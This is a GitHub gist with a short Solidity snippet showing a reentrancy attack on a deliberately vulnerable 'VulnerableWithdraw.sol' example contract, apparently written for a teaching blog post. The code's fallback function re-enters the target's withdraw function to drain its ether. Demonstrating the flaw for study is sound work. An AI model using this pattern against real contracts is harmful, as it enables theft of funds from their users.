Skip to content

Instantly share code, notes, and snippets.

@nathan-websculpt
Created September 16, 2021 12:46
Show Gist options
  • Save nathan-websculpt/43947067e10c36d4c68c986e384a0a01 to your computer and use it in GitHub Desktop.
Save nathan-websculpt/43947067e10c36d4c68c986e384a0a01 to your computer and use it in GitHub Desktop.
How to attack the VulnerableWithdraw.sol example
//this is called when Attackee sends Ether to this contract (Attacker)
fallback() external payable {
if(address(contractToAttack).balance >= 1 ether) {
contractToAttack.withdrawFromAttackee();
}
}
function performAttack() external payable {
require(msg.value >= 1 ether);
contractToAttack.depositIntoAttackee{value: 1 ether}();
contractToAttack.withdrawFromAttackee();
}
@nathan-websculpt
Copy link
Author

Used as an example in This Blog Post

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment